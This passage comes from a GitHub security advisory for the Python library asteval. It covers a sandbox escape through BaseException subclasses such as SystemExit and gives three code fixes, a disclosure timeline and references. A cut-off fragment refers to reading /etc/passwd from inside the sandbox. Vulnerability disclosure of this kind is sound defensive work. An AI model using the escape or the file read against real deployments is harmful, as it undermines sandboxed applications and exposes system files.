/etc/passwd contents\n```\n\nThis is documented in `doc/motivation.rst` as a known design choice (\"If reading from disk\nmust be forbidden, you will want to overwrite the `open()` function from the symbol table\").\nIt is included here for completeness, not as a separate advisory claim.\n\n---\n\n## Recommended Fix\n\n**Option A \u2014 Remove dangerous classes from `FROM_PY` (minimal, preferred):**\n\n```python\n# asteval/astutils.py\n\nFROM_PY = (\u0027ArithmeticError\u0027, \u0027AssertionError\u0027, \u0027AttributeError\u0027,\n # Remove: \u0027BaseException\u0027,\n \u0027BufferError\u0027, \u0027BytesWarning\u0027,\n \u0027DeprecationWarning\u0027, \u0027EOFError\u0027, \u0027EnvironmentError\u0027,\n \u0027Exception\u0027, \u0027False\u0027, \u0027FloatingPointError\u0027,\n # Remove: \u0027GeneratorExit\u0027,\n \u0027IOError\u0027, \u0027ImportError\u0027, \u0027ImportWarning\u0027, \u0027IndentationError\u0027,\n \u0027IndexError\u0027, \u0027KeyError\u0027,\n # Remove: \u0027KeyboardInterrupt\u0027,\n \u0027LookupError\u0027,\n \u0027MemoryError\u0027, \u0027NameError\u0027, \u0027None\u0027,\n \u0027NotImplementedError\u0027, \u0027OSError\u0027, \u0027OverflowError\u0027,\n \u0027ReferenceError\u0027, \u0027RuntimeError\u0027, \u0027RuntimeWarning\u0027,\n \u0027StopIteration\u0027, \u0027SyntaxError\u0027, \u0027SyntaxWarning\u0027, \u0027SystemError\u0027,\n # Remove: \u0027SystemExit\u0027,\n \u0027True\u0027, \u0027TypeError\u0027, ...)\n```\n\n**Option B \u2014 Block non-`Exception` raises in `on_raise()`:**\n\n```python\n# asteval/asteval.py\n\ndef on_raise(self, node):\n excnode = node.exc\n msgnode = node.cause\n out = self.run(excnode)\n # Prevent BaseException subclasses from escaping the sandbox\n if not issubclass(out.__class__, Exception):\n self.raise_exception(node, exc=RuntimeError,\n msg=f\"raising {out.__class__.__name__!r} is not permitted\")\n return\n msg = \u0027 \u0027.join(str(a) for a in out.args)\n msg2 = self.run(msgnode)\n if msg2 not in (None, \u0027None\u0027):\n msg = f\"{msg}: {msg2}\"\n self.raise_exception(None, exc=out.__class__, msg=msg, expr=\u0027\u0027)\n```\n\nNote: Option B also fixes a secondary bug on the same line \u2014 `\u0027 \u0027.join(out.args)` crashes\nwith `TypeError` when args contain non-strings (e.g., `raise SystemExit(0)` with integer\ncode). The fix uses `str(a) for a in out.args`.\n\n**Option C \u2014 Catch `BaseException` in `run()` and `eval()` (broadest, requires care):**\n\n```python\nexcept BaseException as exc:\n if isinstance(exc, (SystemExit, KeyboardInterrupt, GeneratorExit)):\n # Re-raise as RuntimeError to contain within sandbox\n self.raise_exception(node, exc=RuntimeError,\n msg=f\"{type(exc).__name__} raised in sandbox\")\n elif with_raise and self.expr is not None:\n self.raise_exception(node, expr=self.expr)\n```\n\nOption A is the simplest and least likely to introduce regressions. Option B additionally\naddresses the `str.join` crash on integer args.\n\n---\n\n## Disclosure Timeline\n\n| Date | Event |\n|------|-------|\n| 2026-06-09 | Vulnerability discovered during code review |\n| 2026-06-09 | Report submitted via GitHub Security Advisory |\n| TBD | Maintainer acknowledgment |\n| TBD + 90 days | Public disclosure deadline |\n\n---\n\n## Researcher\n\nIndependent security researcher. No bug bounty program exists for this project.\nCVE assignment requested via GitHub Security Advisory submission.\n\n---\n\n## References\n\n- Prior CVE: CVE-2025-24359 (format string injection, fixed 1.0.6)\n- Prior advisory: GHSA-vp47-9734-prjw (AST mutation TOCTOU, fixed 1.0.6)\n- Python exception hierarchy: https://docs.python.org/3/library/exceptions.html#exception-hierarchy\n- `asteval` documentation: https://lmfit.github.io/asteval/",
"id": "GHSA-89v8-rhwq-hf77",
"modified": "2026-08-20T17:28:52Z",
"published": "2026-08-20T17:28:52Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/lmfit/asteval/security/advisories/GHSA-89v8-rhwq-hf77"
},
{
"type": "WEB",
"url": "https://github.com/lmfit/asteval/pull/153"
},
{
"type": "WEB",
"url": "https://github.com/lmfit/asteval/commit/a3e56e7f8ed567a4817684d94213b290359077b4"
},
{
"type": "PACKAGE",
"url": "https://github.com/lmfit/asteval"
},
{
"type": "WEB",
"url": "https://github.com/lmfit/asteval/releases/tag/1.0.9"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "asteval has a Sandbox Escape via BaseException Subclasses"
}
No mitigation information available for this CWE.
No CAPEC attack patterns related to this CWE.